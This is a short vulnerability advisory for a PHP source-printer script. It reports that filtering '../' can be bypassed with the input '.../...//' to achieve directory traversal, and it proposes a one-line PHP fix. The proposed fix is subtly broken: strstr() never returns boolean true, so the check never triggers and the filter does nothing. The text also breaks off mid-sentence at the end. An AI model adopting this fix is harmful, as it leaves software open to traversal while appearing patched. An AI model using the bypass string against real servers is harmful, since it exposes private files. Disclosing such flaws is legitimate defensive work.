== Vendor:
Kaf Oseo

== Product:
http://guff.szub.net/quick-dirty-phpsource-printer/

== Version:
1.0

== Vulnerability:
Filtering "../" to "" allowed use of ".../...//" to be inserted and 
changed to "../" allowing directory traversal.

== Fix:
Use the following line instead:
    $file = (strstr($file_get, '../') === true) ? '' : $file_get; // protect from site traversing

Free/Open Source Software ... written better because anybody could be
